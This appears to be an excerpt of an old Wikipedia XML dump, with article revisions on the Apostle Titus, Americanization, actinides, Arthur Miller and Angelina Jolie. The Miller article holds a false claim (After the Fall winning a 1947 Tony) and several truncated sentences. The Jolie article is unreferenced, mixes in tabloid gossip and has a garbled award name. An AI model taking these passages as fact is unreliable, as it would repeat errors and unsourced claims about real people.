[[nl:Aramees]]
[[ja:アラム語]]
[[no:Arameisk]]
[[nn:Arameisk språk]]
[[pl:Język aramejski]]
[[pt:Aramaico]]
[[ru:Арамейский язык]]
[[simple:Aramaic]]
[[sk:Aramejčina]]
[[sl:Aramejščina]]
[[fi:Aramean kieli]]
[[sv:Arameiska]]
[[tr:Aramice]]
[[zh:亚拉姆语]]</text>
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  <page>
    <title>Apostle Titus</title>
    <id>2304</id>
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      <text xml:space="preserve">In the [[Christianity|Christian]] [[New Testament]], '''Titus''', (a common Roman name, meaning ''honourable'') was a companion of [[Paul of Tarsus]], mentioned in several of [[Epistle|Paul's Epistles]]. Titus was with Paul and [[Barnabas]] at [[Antioch]] and accompanied them to the [[Council of Jerusalem]] ([[Epistle to the Galatians|Galatians]] 2:1-3; Acts 15:2), although his name nowhere occurs in the ''[[Acts of the Apostles]]''. 

He appears to have been a [[Gentile]]&amp;mdash; for Paul sternly refused to have him [[History_of_male_circumcision#Male_Circumcision_in_the_Greco-Roman_World|circumcised]], perhaps because Paul possibly believed his gospel freed believers from the requirements of the [[Mosaic Law]]&amp;mdash; and to have been chiefly engaged in ministering to Gentiles. 

At a later period, Paul's Epistles place him with Paul and [[Timothy]] at [[Ephesus]], whence he was sent by Paul to [[Corinth, Greece|Corinth]] for the purpose of getting the contributions of the church there in behalf of the poor  Christians at Jerusalem sent forward ([[2 Corinthians]] 8:6; 12:18). 

He rejoined the apostle when he was in [[Macedon]]ia, and cheered him with the tidings he brought from Corinth (7:6-15). After this his name is not mentioned till after Paul's first imprisonment, when we find him engaged in the organization of the church in [[Crete]], where the apostle had left him for this purpose (Paul's ''[[Epistle to Titus|Titus]]'' 1:5). 

The last notice of him is in [[2 Timothy]] 4:10, where we find him with Paul at Rome during his second imprisonment. From Rome he was sent into [[Dalmatia]], no doubt on some important missionary errand. The New Testament does not record his death.  

According to church tradition, Paul ordained Titus Bishop of [[Gortyn]] in Crete.  He died in AD [[107]] at about 95 years of age.

==External links==
*[ ''Eaton's Bible Dictionary'' 1897:] Titus
*[ ''Catholic Encyclopædia'' http://www.newadvent.org/cathen/14727b.htm:] &quot;Epistles to Timothy and Titus&quot; (there is no entry for &quot;Apostle Titus&quot;

[[de:Titus (Bibel)]]
[[fr:Tite]]
[[ja: テトス]]

[[Category:Saints|Titus]]
[[Category:Ancient Roman Christianity]]</text>
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  <page>
    <title>Americanization</title>
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'''Americanization''' (or '''Americanisation''') is the term used for the influence the [[United States|United States of America]] has on the culture of other [[country|countries]], substituting their [[culture]] with [[American culture]]. When encountered unwillingly or perforce, it has a negative connotation; when sought voluntarily, it has a positive connotation. 

Americanization can also refer to the process of [[Immigration|immigrants]] to the United States becoming [[Assimilation (sociology)#Immigration|assimilated]] into American society.  This process often involves learning [[American English]] and adjusting to American culture, customs, and dress.

==Media==
In American media, the term is used negatively to describe the [[censoring]] and [[editing]] of a foreign show or movie that is brought over to U.S. stations. This editing is done to make the work more understandable to American audiences. The changes are often so drastic that very little - if any - evidence of the media's true origin remains.

In [[Hollywood]], many foreign film productions (most of them from [[Europe]] and [[Far East]]) were remade into U.S.-produced versions for American viewers, readapting the story according to the American culture. Most of the Americanized versions were filmed in American places, and with English speaking actors. Examples include ''[[Godzilla]]'', ''[[The Assassin]]'' (aka ''[[Nikita]]'') and ''[[The Ring]]''.

The song [[Amerika (single)|Amerika]] by the German rock band [[Rammstein]] is often seen as a [[satire]] of Americanization. It has received mixed reviews: some perceive it as anti-American, others as being opposed to [[globalization]]. The band views it as a satirical commentary on &quot;[[cocacolonization]]&quot;.

===Anime===
Companies that deal with Japanese [[Anime]] may Americanize the animation in order to appeal to a larger audience beyond the established fanbases made via importation of DVD's, obtaining bootlegs, or downloading [[fansubs]] from the internet. American Cartoon companies like [[4Kids Entertainment]], [[Nelvana]], [[FUNimation]], and [[TOKYOPOP]], are the more notorious examples of companies that undertake edits.  In these cases, Americanization due to translation of Japanese [[Anime]] may be minor or may result in a complete change to the piece.  

Examples of minor Americanization include simple name changes (Riceballs turned into Cookies and Doughnuts, or the name of the character Itsuki changed to Iggy).  Extreme edits include dismantling entire episodes for content and time constraints; for example, ''[[One Piece]]'' has undergone changes in the theme song and entire re-writes of story arcs. 

In many cases, Anime is Americanized because the content, which would be considered acceptable for Japanese children to view, would not be allowed for children in the USA under [[FCC]] rules.

==Trivia==
In [[Sweden]], there is a humourous expression stating that it is the most Americanized country in the world, and the USA is number two.

[[Arthur Koestler]] described Americanization as &quot;[[cocacolonization]]&quot; in his book ''[[The Lotus and the Robot]]'', referring to [[Coca-Cola]], a symbol of American culture.

==See also==
===Expansion of American culture===
*[[American culture]]
*[[Anti-Americanism]]
*[[Cultural imperialism]]

===Assimilation of immigrants===
*[[Immigration to the United States of America]]
*[[Melting pot]]
*[[Salad bowl (cultural idea)]]

[[Category:Cultural assimilation]]
[[Category:American culture]]
[[Category:Neologisms]]
[[Category:Types of words]]
[[Category:Word coinage]]
[[Category:Transliteration]]
[[Category:Censorship]]

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[[vi:Mỹ hoá]]</text>
    </revision>
  </page>
  <page>
    <title>AT and T</title>
    <id>2306</id>
    <revision>
      <id>15900736</id>
      <timestamp>2002-07-23T14:12:31Z</timestamp>
      <contributor>
        <username>Aldie</username>
        <id>901</id>
      </contributor>
      <minor />
      <comment>fix AT&amp;T link, wasn't getting through to main article.</comment>
      <text xml:space="preserve">#REDIRECT [[AT&amp;T]]</text>
    </revision>
  </page>
  <page>
    <title>Actinide</title>
    <id>2308</id>
    <revision>
      <id>40274636</id>
      <timestamp>2006-02-19T12:15:45Z</timestamp>
      <contributor>
        <username>Geraki</username>
        <id>20551</id>
      </contributor>
      <minor />
      <comment>+el</comment>
      <text xml:space="preserve">{| BORDER=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;right&quot;
|- style=&quot;background:#FF99CC;&quot;
! [[Atomic number|Atomic No.]]
! [[Chemical element|Name]]
! [[Chemical symbol|Symbol]]
|-
| 89 ||  [[Actinium]]  ||  Ac
|-
| 90 ||  [[Thorium]]  ||  Th
|-
| 91 ||  [[Protactinium]]  ||  Pa
|-
| 92 ||  [[Uranium]]  ||  U
|-
| 93 ||  [[Neptunium]]  ||  Np
|-
| 94 ||  [[Plutonium]]  ||  Pu
|-
| 95 ||  [[Americium]]  ||  Am
|-
| 96 ||  [[Curium]]  ||  Cm
|-
| 97 ||  [[Berkelium]]  ||  Bk
|-
| 98 ||  [[Californium]]  ||  Cf
|-
| 99 ||  [[Einsteinium]]  ||  Es
|-
| 100 ||  [[Fermium]]  ||  Fm
|-
| 101 ||  [[Mendelevium]]  ||  Md
|-
| 102 ||  [[Nobelium]]  ||  No
|-
| 103 ||  [[Lawrencium]]  ||  Lr
|}

The '''actinide''' series encompasses the 15 [[chemical element]]s that lie between [[actinium]] and [[lawrencium]] on the [[periodic table]] with [[atomic number]]s 89 - 103. The actinide series is named after actinium. All actinides are [[f-block]] elements except lawrencium. There are also alternative arrangements which do not include either actinium or lawrencium in the actinide series.

The actinides  display less similarity in their chemical properties than the [[lanthanide]] series, for instance exhibiting a wider range of oxidation states, which initially led to confusion as to whether actinium, thorium and uranium should be consider d-block elements. All actinides are radioactive.

Only actinium, thorium and uranium occur naturally in the earth's crust. The remaining actinides were synthesized in the 20th cenutry by techniques such as neutron bombardment. The latter half of the series possess exceedingly short  [[half-life|half-lives]]. 

The actinides are typically placed below the main body of the periodic table, in the manner of a footnote. The [[Periodic table (wide)|full-width version of the periodic table]] shows the position of the actinides more clearly.

Note that the [[IUPAC|International Union of Pure and Applied Chemistry (IUPAC)]] are currently recommending the name '''actinoid''' rather than actinide, as the suffix &quot;-ide&quot; is generally used to indicate [[anions]].

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{{PeriodicTablesFooter}} [[Category:Periodic table]] &lt;br/&gt;

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[[zh:锕系元素]]</text>
    </revision>
  </page>
  <page>
    <title>Arthur Miller</title>
    <id>2310</id>
    <revision>
      <id>42078668</id>
      <timestamp>2006-03-03T17:58:19Z</timestamp>
      <contributor>
        <ip>153.18.18.157</ip>
      </contributor>
      <text xml:space="preserve">:''For the cinematographer, see [[Arthur C. Miller]]
[[Image:Arthur miller.JPG|thumb|Arthur Miller in his later years]]
'''Arthur Asher Miller''' ([[October 17]], [[1915]] – [[February 10]], [[2005]]) was an [[United States|American]] [[playwright]], [[essayist]] and [[author]]. He was a prominent figure in [[American literature]] and [[film|cinema]] for over 61 years, writing a wide variety of [[play]]s. Miller's best-known works were ''[[The Crucible]]'', After the Fall (which won the 1947 Tony Award for best play),  and ''[[Death of a Salesman]]'', which are still widely studied and performed worldwide . He was also known for his short-lived marriage to [[Marilyn Monroe]] (1956-1961), who converted to [[Judaism]] for him. 

==Biography==
Miller was born into a moderately-wealthy [[Jewish]] family in New York. His father was a clothing manufacturer. His mother was a housewife. His sister, Joan became an actress known as [[Joan Copeland]] and has appeared in some of her brother's plays. 

Miller attended P.S. 24 in Harlem from 1920 to 1928, and saw his first play (a [[melodrama]]) in 1923 at the Shubert Theatre. At Abraham Lincoln High School near [[Coney Island]], in [[Brooklyn, New York]], Miller was a talented athlete and mediocre student. He was rejected by both the [[University of Michigan]] and suffered a great deal of [[anti-Semitism]], which would influence his later works. Miller put $13 of every $15 pay check he earned into a college fund and reapplied to the University of Michigan, where he was accepted in 1934.

At Michigan, Miller studied journalism and drama, becoming particularly interested in [[Greek theater|ancient Greek drama]] and the dramas of [[Henrik Ibsen]]. During [[spring break]] in 1936 (his sophomore year), he wrote his first work, ''[[No Villain]]'' (reportedly because of a contest offering a $250 prize, which [[Hopwood Award|Avery Hopwood Award]], the first of two he received. Miller retained strong ties to his alma mater throughout the rest of his life, establishing the Arthur Miller Award in 1985 and Arthur Miller Award for Dramatic Writing in 1999, and lending his name to the Arthur Miller Theatre in the forthcoming In 1938, Miller received his [[bachelor's degree]] in English. In 1940, he married his college sweetheart, Mary Slattery (with whom he had two children, Jane and Robert). He was exempted from military service during [[World War II]] because of a [[American football|football]] injury.

Miller rose to prominence with ''[[All My Sons]]'' in 1947.  His 1949 play ''[[Death of a Salesman]]'' won the [[Pulitzer Prize]] and three [[Tony Awards]], as well as the [[New York Drama Critics Circle Award]]. It was the first play ever to win all three.  ''[[The Crucible]]'' opened on [[Broadway theatre|Broadway]] on [[January 22]], [[1953]]. In 1956, he divorced his wife. In June of the same year, he appeared before the [[House Un-American Activities Committee]], and at the end of the month on [[June 29]], he married [[Marilyn Monroe]], whom he had met eight years earlier through [[Elia Kazan]]. Monroe [[List of converts to Judaism|converted to Judaism]] .

On [[May 31]], [[1957]], Miller was found guilty of [[contempt of Congress]] for refusing to reveal the names of members of a literary circle suspected of Communist affiliation. His conviction was reversed [[August 7]], [[1958]], by the U.S. Court of Appeals. The same year, he published ''Collected Plays''.

&lt;!-- Unsourced image removed: [[Image:Miller&amp;Monroe.jpg|left|thumb|150px|Monroe and Miller on the set of ''[[The Misfits (film)|The Misfits]]'']] --&gt;
On [[January 24]], [[1961]], Monroe was granted a divorce two months after Miller left her for  [[Inge Morath]], whom he married on [[February 17]], [[1962]]. They had met when she and other photographers from the [[Magnum Photos]] agency documented the making of ''The Misfits''. They had two children, Rebecca, born that September, and Daniel. According to biographer [[Martin Gottfried]], Daniel was born with [[Down syndrome|Down Syndrome]]. Miller placed Daniel in an institution in [[Roxbury, Connecticut]], and never visited him. Miller doesn't mention Daniel in ''Timebends'', his 1987 autobiography, and the issue was ignored in the ''[[New York Times]]'' obituary[http://www.nytimes.com/2005/02/11/theater/11cnd-miller.html?hp=&amp;amp;pagewanted=print&amp;amp;position=] of [[February 11]], [[2005]] (though it was reported in the ''[[Los Angeles Times]]'' and elsewhere).  [[Rebecca Miller]] is a screenwriter, actor and director.

Miller was one of the original founders of [[International PEN]]'s Writers in Prison committee, and in 1965 was elected the organization's president, a position he held for four years [http://mattryan.netfirms.com/MillerBio.htm], [http://av.rds.yahoo.com/_ylt=A9ibyK_Qpg5CiAMAXX9rCqMX;_ylu=X3oDMTBvdmM3bGlxBHBndANhdl93ZWJfcmVzdWx0BHNlYwNzcg--/SIG=124m2bp4t/**http%3a//www.thenation.com/docprint.mhtml%3fi=20040112%26s=miller].

In 1985, Miller visited [[Turkey]] and was honored at the American embassy. After his traveling companion [[Harold Pinter]]  was thrown out of the country for discussing torture, Miller left in support.

On [[January 30]], [[2002]], Inge Morath died. On [[May 1]] the same year, Miller was awarded Spain's [[Principe de Asturias Prize for Literature]] as &quot;the undisputed master of modern drama&quot;. Previous winners include [[Doris Lessing]], [[Günter Grass]] and [[Carlos Fuentes]]. The following year Miller won the [[Jerusalem Prize]].

In December 2004, the 89 year old Miller announced that he had been living with 34 year old artist [[Agnes Barley]] since 2002, and they were planning to marry. Within hours of his death, Barley had moved out of his house on orders of Miller's daughter Rebecca, who disapproved of the relationship. 

''See also [[Hollywood Ten]].''

[[Category:1915 births|Miller, Arthur]]
[[Category:2005 deaths|Miller, Arthur]]
[[Category:American writers|Miller, Arthur]]
[[Category:Jewish American writers|Miller, Arthur]]

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    </revision>
  </page>
  <page>
    <title>Angelina Jolie</title>
    <id>2312</id>
    <revision>
      <id>42147583</id>
      <timestamp>2006-03-04T03:19:17Z</timestamp>
      <contributor>
        <ip>70.50.174.17</ip>
      </contributor>
      <comment>/* Career */</comment>
      <text xml:space="preserve">{{unreferenced}}
[[Image:Angelina Jolie.jpg|thumb|right|Angelina Jolie at the premiere of ''[[Alexander (film)|Alexander]]''.]]
'''Angelina Jolie''' (born  '''Angelina Jolie Voight''' on [[June 4]], [[1975]]) is an [[Academy Award|Oscar]]-winning [[United States|American]] [[actor|actress]]. 
She is known for her exotic looks, her tumultuous off-screen life, and her humanitarian work with refugees. She has received three [[Golden Globe|Golden Globes]] as well as an [[Academy Award for Best Supporting Actress]] for her performance in the film ''[[Girl, Interrupted (film)|Girl, Interrupted]]''.

==Biography== 
Angelina Jolie was born in [[Los Angeles, California]], to actors [[Jon Voight]] and [[Marcheline Bertrand]]. She is the niece of [[Chip Taylor]] and the god-daughter of [[Jacqueline Bisset]] and [[Maximilian Schell]]. She is also the sister of [[James Haven]]. In a [[2004]] article in ''[[Vogue_%28magazine%29|Vogue]]'' she stated that her mother is from [[Chicago]]. At the ''Premiere Magazine'' &quot;Women in Hollywood&quot; Awards, she said her mother was born in a bowling alley and has stated that because of her name people often assume that her mother is French.  Jolie's grandparents were [[French-Canadian]].  Her paternal-grandfather was from [[Czechoslovakia]].  Her mother also studied with [[Lee Strasberg]]. She is of [[Czech people|Czech]], French-Canadian, [[English people|English]], and [[Iroquois]] descent. As a teenager, Jolie dreamed of becoming a funeral director.[http://www.rollingstone.com/news/story/_/id/5938014] She attended the [[Lee Strasberg]] Theatre Institute from the age of 11, later attending [[Beverly Hills High School]]. Though she enrolled at the film school at [[New York University]] after finishing ''[[Gia]]'', she did not complete her studies.

Jolie has been long estranged from her father, though a reconciliation was attempted by his appearing with her in ''[[Lara Croft: Tomb Raider]]''. In the October 2004 issue of ''[[Premiere Magazine]]'', Jolie indicated that she was no longer interested in pursuing a relationship with her father, but that she did not hate him because she realised that &quot;...we only have so much energy in this life&quot;.  Soon afterwards, he claimed that she has &quot;serious emotional problems&quot; on ''[[Access Hollywood]]'', and she legally dropped Voight as her last name, taking &quot;Angelina Jolie&quot; as her legal name. 
 
===Career===
Her first starring role came in the [[1995]] film ''[[Hackers_%28film%29|Hackers]].'' 

In [[1998]] she achieved a major critical success, starring in the TV film ''[[Gia]]'', the true story of 1970-80s supermodel [[Gia Carangi]], who died of [[AIDS]].  Jolie won [[Golden Globe]], [[Screen Actors Guild]] and Golden Satmifie awards, and was nominated for an [[Emmy]].
 
She had roles in several box-office flops until [[1999]], when she co-starred in ''[[The Bone Collector]]'' with [[Denzel Washington]] and won an Oscar for ''[[Girl, Interrupted (film)|Girl, Interrupted]]''. Her first headlining blockbuster role came from [[2001]]'s video-game-based ''[[Lara Croft: Tomb Raider]]''.

Several of her subsequent films, such as ''[[Life or Something Like It]]'', ''[[Alexander (movie)|Alexander]]'', and ''[[Sky Captain and the World of Tomorrow ]]'', were box-office disappointments, although Jolie herself usually received good notices.  She did provide the voice of Lola in the successful animated film ''[[Shark Tale]]''.  Nonetheless, she has become one of [[Hollywood, Los Angeles, California|Hollywood]]'s most &quot;in-demand&quot; actresses. Following the success of ''[[Mr. &amp; Mrs. Smith (2005 film)|Mr. &amp; Mrs. Smith]]'', she's set to earn up to $15 million to star in the film ''[[The_Good_Shepherd_%28film%29|The Good Shepherd]]''.

Apart from  her acting and humanitarian endeavours, Jolie has worked as a professional model in [[London]], [[New York City|New York]] and Los Angeles and appeared in numerous music videos, including those of [[Korn]], [[Meat Loaf]], [[Lenny Kravitz]], and [[The Rolling Stones]].

==Relationships==
[[Image:Angelina jolie lugar.jpg|thumb|right|Angelina Jolie]]

On [[March 28]], [[1996]] she married [[United Kingdom|British]] actor [[Jonny Lee Miller]], with whom she had co-starred in the film ''[[Hackers (movie)|Hackers]]''.  Jolie attended her wedding in black leather trousers and a white shirt, which had her husband's name painted in her blood on the back. Jolie and Miller subsequently divorced on [[February 3]], [[1999]].  Jolie then married American actor [[Billy Bob Thornton]] on [[May 5]], [[2000]].  As a result of their frequent public declarations of passion and gestures of love (most famously wearing one others' blood in vials around their necks), their relationship became a favourite topic of the entertainment media.  Jolie and Thornton divorced on [[May 27]], [[2003]].

Jolie has said in interviews that she is [[bisexual]]. In an interview with [[Barbara Walters]], Jolie said &quot;If I fell in love with a woman tomorrow, would I feel that it's okay to want to kiss and touch her?  If I fell in love with her?  Absolutely!  Yes!&quot;[http://www.nydailynews.com/front/story/387860p-329048c.html]  In an interview with a British [[tabloid]], model [[Jenny Shimizu]] claimed to have enjoyed a long-standing romantic and sexual relationship with her former ''[[Foxfire (1996 film)|Foxfire]]'' co-star.

===Brad Pitt===
In early [[2005]], Jolie found herself in the middle of a well-publicised Hollywood [[Sex scandal|scandal]] when she was accused of being the &quot;other woman&quot; in the [[divorce|marital break-up]] of [[Brad Pitt]] and [[Jennifer Aniston]].  The allegation was that she and Pitt had started an [[affair]] during filming of the spy comedy ''[[Mr. &amp; Mrs. Smith]]''.  However, in several interviews she has denied starting an affair with Pitt.  In an interview with ''[[Marie Claire]]'' magazine recently she stated that she could never have a relationship with a married man because she has seen what relationships like that did to her mother.  Her father has acknowledged that he cheated on Jolie's mother when they were married.  Jolie stated that she &quot;could not look herself in the mirror&quot; if she had an affair with a married man.

Thanks to a mixture of generally good reviews, advance [[publicity]] and the rumours, ''[[Mr. &amp; Mrs. Smith]]'' opened in the No. 1 position at the box-office after it was released in early June 2005, providing Jolie with her first box-office success in several years.

In late June 2005, the ''[[New York Post]]'' reported a claim that Jolie was [[pregnant]] - a report republished on [[June 30]] by Britain's [[Sky TV]], [[Sun Media Corporation]] in [[Canada]], and the [[Asia|Asian]] ''[[Hindustan Times]]'', among others. Her publicist denied this report, which would ultimately prove to be premature.

Speculation over the nature of Jolie and Pitt's relationship continued throughout the summer of 2005. On [[August 22]], the ''[[Calgary Herald]]'' ran a front-page story with a photo of Jolie taken during a surprise visit she made to [[Calgary, Alberta]] a couple of days earlier, accompanied by her adopted daughter Zahara. Pitt was at that time filming in Calgary, as was her father, [[Jon Voight]]. It was later reported that Jolie and Pitt visited the [[Royal Tyrrell Museum of Palaeontology]] in [[Drumheller, Alberta]] together[http://www.eonline.com/News/Items/0,1,17225,00.html], and sources reported in [[September]], 2005 that they had visited [[West Edmonton Mall]] together.[http://jam.canoe.ca/Movies/2005/09/22/1230579-sun.html]

On [[September 30]], the ''Calgary Sun'' reported that Pitt and Jolie had rented a house together in the city of [[Spruce Grove, Alberta]], west of [[Edmonton, Alberta|Edmonton]] where Pitt was filming; the same issue printed a photograph of the couple, now dubbed &quot;Brangelina&quot;, leaving an Edmonton grocer's.

On [[January 11]], [[2006]], both Jolie's and Pitt's representatives confirmed, through ''[[People Magazine]]'', that the two were expecting their first child in Summer [[2006]], thus indirectly confirming for the first time that they were in a relationship.[http://people.aol.com/people/articles/0,19736,1145171,00.html]

==Humanitarian Work==
[[Image:NotesFromMyTravels.jpg|right|180px|thumb|In 2003, Jolie published a collection of journals made during missions for the UNHCR.  Her proceeds from the book went to the UNHCR.]]

Jolie has been a [[UNHCR Goodwill Ambassador|Goodwill Ambassador]] for the [[United Nations High Commission for Refugees]] since [[2001]], and frequently travels to countries in order to draw attention to the plight of people in developing countries.  In [[2003]], she published ''[[Notes from My Travels]]'', a collection of journal entries that chronicled her early work with the [[United Nations|U.N.]]. 

In a January 2005 [http://www.cnn.com/2005/WORLD/europe/01/29/davos.jolie.reut/index.html interview] with [[Reuters]], Jolie criticised fellow actors and actresses for not being committed enough in helping others, and stated that she gives one-third of her income to charitable institutions. On [[October 12]], [[2005]], Jolie was awarded the Global Humanitarian Award by the [[UNA-USA]].

Jolie was also one of the first [[celebrity|celebrities]] to accept an invitation to be one of the bearers of the [[Olympic Torch]] during the [[2004 Olympic Games]], though she was ultimately unable to participate because of filming commitments.

Since taking on her goodwill ambassador duties, Jolie has on numerous occasions made public statements that she wants to quit acting and concentrate on her UN work (for example, see ''Ireland On-Line'' in June 2005 [http://breakingnews.iol.ie/entertainment/story.asp?j=145628738&amp;p=y456z9444]).  However, she has also stated that her work provides her with the income necessary for her to continue travelling the world on behalf of the UN.

Jolie continues to balance the demands of being a film-star with that of being a humanitarian, despite an apparently gruelling schedule. On [[June 7]], 2005, the [[Associated Press]] wire service reported on Jolie giving a presentation in [[Islamabad]], [[Pakistan]].  That same day, she attended the premiere of ''Mr. &amp; Mrs. Smith'' in [[Los Angeles]].  She now lives full-time in [[Buckinghamshire]], [[England]], and owns property in [[Cambodia]], which she had to have demined.  Angelina Jolie spent the new year of 2005 by going abroad to film a documentary called &quot;A Moment in the World&quot;.  She called on several actors and actresses to film in various locations around the world at the same time for three minutes. This was done in order to capture random moments that are happening across the world at the same time.  Some confusion has arisen between this project and the independent endeavour [http://www.momentonearth.com  A Moment on Earth], in which 60 film-makers around the world captured two separate moments on  5th and 6th August, 2004.  No release dates for either project are known at this time.

In August 2005, Cambodia's King [[Norodom Sihamoni]] awarded Jolie Cambodian [[citizenship]] for her [[conservation ethic|conservation]] work in the country.

In September 2005 Jolie was named the new spokesperson for the clothing line 'St. John Knits' starting in the Spring/Autumn 0f 2006. The deal with includes the start-up of a charity headed by Jolie.  The charity will focus on children's issues and causes.  It has been reported, but not confirmed, that she will also sit on the board of directors and have stock in the company.  The deal is also believed to be the biggest celebrity clothing endorsement with the actress receiving US$10-15 million.  Other celebrities such as Gwyneth Paltrow receive something about US$5 million to promote luxury clothing and accessories.  On 24 October, Angelina Jolie attended the 'First Annual Benefit Gala for the Worldwide Orphans Foundation'. Where she pledged to partner with WHO to treat children in Ethiopia who have been orphaned by AIDS and are HIV positive.  &quot;AIDS is chronic and manageable, and does NOT have to kill any longer,&quot; said Jolie.  She also announced her plan to support WWO's Paediatric HIV/AIDS Clinic in Addis Ababa, Ethiopia and pledged an initial grant.  The gala helped the organisation raise $800,000.  Dr. Jane Aronson, the organisation's founder, and Ms. Jolie first met through the adoption of her daughter Zahara and Jolie credits the doctor with helping save her daughter's life.

==Adoptions==
On March 10, 2002 Jolie adopted her first child, Maddox Chivan Jolie. He was born on [[August 5]], [[2001]] as Rath Vibol in [[Cambodia]].  He was being housed in a Cambodian orphanage when Angelina Jolie saw him for the first time there in a production break for the film ''[[Lara Croft: Tomb Raider]]''.  
After her divorce from her second husband [[Billy Bob Thornton]], Jolie received sole custody for Maddox.

In the autumn of [[2004]], it was reported that Jolie had started proceedings to adopt another child, this time from [[Russia]]. However, no adoption ever took place.  On March 8, Jolie took part in a Washington Press club luncheon.[http://www.unhcr.ch/cgi-bin/texis/vtx/news/opendoc.htm?tbl=NEWS&amp;id=422f33944] 

It was there that she announced the founding of the  National Center for Refugee and Immigrant Children in Washington, D.C., an organisation that provides free legal-aid to children who prior to this had no legal representation.  Jolie donated $500,000 to the centre which will help keep it afloat for the first two years of its operation.  At that same conference she stated that she never intended to adopt a Russian orphan boy.  Jolie expressed a deep sadness at the media's exploitation of the child. She stated that she was on business through the United Nations and not looking for a child to adopt.  She also mentioned that her son wanted an &quot;African brother or sister&quot; because of his love of Africa and the work he knows she does in that region. 

Around the same time, Lauryn Galindo, the [[Hawaii]]-based adoption facilitator whose services Jolie had used to adopt Maddox, was sentenced to 18 months in prison after pleading guilty to [[visa (document)|visa]] fraud and [[money laundering]] charges.  She had been falsifying records of children to be adopted in visa applications to the [[U.S. Citizenship and Immigration Services]], and several of the children she placed had not been abandoned at all but were enticed away or bought from their birth families.  There is no evidence that Maddox was among them, although the investigation is continuing.  Maddox Jolie, as he is legally named, was naturalised as a United States citizen some time ago, and there is no indication that that will be rescinded.

On [[July 5]], 2005, [[People magazine]] reported that Jolie was in the final stages of adopting a baby girl, who was orphaned by AIDS, from [[Ethiopia]], through the agency [[Wide Horizons for Children]]. Jolie has named her daughter Zahara Marley Jolie.  A woman in London has been claiming she is Zahara's birth mother since August 2005.  Ms. Jolie has contacted a lawyer in London to look into the matter.

On [[September 28]], [[2005]] while making an appearance to discuss America's financial involvement in fighting AIDS globally on CNN's &quot;[[The Situation Room]]&quot; with [[Wolf Blitzer]], Jolie stated that her daughter is an &quot;AIDS orphan&quot;.  By that she means her birth mother died from the disease but her daughter does not have the disease.  The birth father of Zahara is not known.  Her statement made it clear that the birth mother is indeed dead.  In late October [[2005]], an Ethiopian judge ruled that there is no evidence to suggest that Ms. Jolie would have to file for re-adoption of her daughter Zahara Marley Jolie.  The judge ruled that the woman claiming to be her mother is not the birth mother.  Earlier in the summer, another woman had come forward claiming to be the grandmother of Zahara.  That claim also proved to be false.

American magazine ''[[Us (magazine)|US Weekly]]'' indicated erroneously that Jolie and [[Brad Pitt]] had adopted Zahara together. When the magazine realised its error, the presses were stopped and an apology issued to Jolie and Pitt; printing of the issue resumed with the correction made, though a number of copies with the error were still released to the public.  Reportedly, however, Pitt was present when Jolie signed the adoption papers.  The agency later said Brad Pitt was not present when Angelina Jolie picked up her daughter. [http://www.imdb.com/news/wenn/2005-07-08/]

In [[December]] [[2005]] however , it was confirmed that Pitt was seeking to legally adopt Jolie's two children. In support of this bid (and as part of legal requirements), Jolie took out [[Classified advertising|classified advertisements]] in the [[Los Angeles]] paper, the ''[[Daily Commerce]]'', announcing the name change request, and on January 19, 2006, a judge in California approved this request.  The children's legal surnames were formally changed to Jolie-Pitt. [http://www.msnbc.msn.com/id/10927183/]

==Tattoos==
[[Image:tigertattooo.jpg|thumb|right|Jolie showing off her largest tattoo, a tiger on her lower back]]
Jolie's inventory of tattoos has become the subject of much media attention, and she frequently adds or even changes existing tattoos. She has said that all the tattoos she possesses have a special meaning. Her tattoos include:

*the letter [[H]] (for her brother [[James Haven]]) on the inside of her left wrist.
*&quot;A prayer for the wild at heart, kept in cages&quot; ([[Tennessee Williams]]) on her left forearm.
*a large prayer for her son Maddox on her left shoulder which covers up the Chinese &quot;death&quot; tattoo.
*two pointy black tribals on the lower parts of her back.
*''Quod me nutrit me destruit'' ([[Latin]] for &quot;What nourishes me also destroys me&quot;) several inches below her navel.
*a tilted [[Latin cross]] on the lower left of her abdomen.
*a large Asian tiger on her back.
*a dragon under the tiger.
*XIII (number 13 in [[Roman numerals]]) on her left forearm.
* [[Arabic language|Arabic]] for &quot;strength of will.&quot; (العزيمة) on her right forearm.
*&quot;know your rights&quot; just under her neck between her shoulders.

Lasered/Covered:
*a dragon on her left arm (she has been lasering it for some months now but it can still be faintly seen).
*&quot;Billy Bob&quot;, the name of her former husband [[Billy Bob Thornton]], on her left arm (like the dragon, it is still somewhat visible despite having been in the process of removal for a long time).
*a Chinese character for courage now covered by the Tennessee Williams quote.
*a Chinese character for death (死) now covered by the prayer for her son.
*a tattoo both Billy Bob Thornton and Angelina had a copy of. It was on her right forearm, now covered by the &quot;strength of will&quot; tattoo.
*a dragon she got in Amsterdam while drunk, now covered by the latin cross.
*a window on her lower back.  On 'Inside the Actors Studio', she explained that she covered this tattoo, because, while she used to spend all of her time staring through windows wishing to be outside, she now lives there all of the time.

Jolie has gone on record as saying that a positive effect resulting from the large number of tattoos on her body is that, while she is not opposed to film nudity, filmmakers have been forced to become more creative when plotting any nude or love scenes involving her. Make-up has been used to cover up the tattoos in productions such as the ''Tomb Raider'' films, ''Alexander'', and ''Mr. &amp; Mrs. Smith''.

==Academy Awards==
*1999 - Best Supporting Actress - &quot;Girl, Interrupted&quot;

==Other trivia==
* She has said that she is [[Bisexuality|bisexual]] and once claimed to have been in love with fashion model [[Jenny Shimizu]], her co-star in the film ''Foxfire''.  &quot;I would probably have married Jenny if I hadn't married my husband.  I fell in love with her the first second I saw her.&quot;
* She is [[left-handed]].
* She wears an American-size 9 shoe.
* Jolie once described herself as &quot;most likely to sleep with a female fan&quot;.
* She speaks &quot;very little [[French language|French]]&quot; according to her book [[Notes from My Travels]].
* The name Angelina actually means &quot;little angel&quot; in [[Italian language|Italian]].  Jolie in French means &quot;pretty&quot;.
* She drives a black, Ford truck.
* She has a civilian pilot's licence.
* She collects knives and has interest in mortuary science.
* She was born at 9:09 a.m. in Los Angeles.
* Her uncle, [[Chip Taylor]], wrote the songs ''[[Wild Thing]]'' and ''[[Angel of the Morning]].
* She claims to have a fondness for [[Liverpool F.C.|Liverpool Football Club]], having revealed that her baby son, Maddox, &quot;only wants to play for Liverpool&quot; after he was admitted to Alder Hey Hospital in Liverpool for treatment.
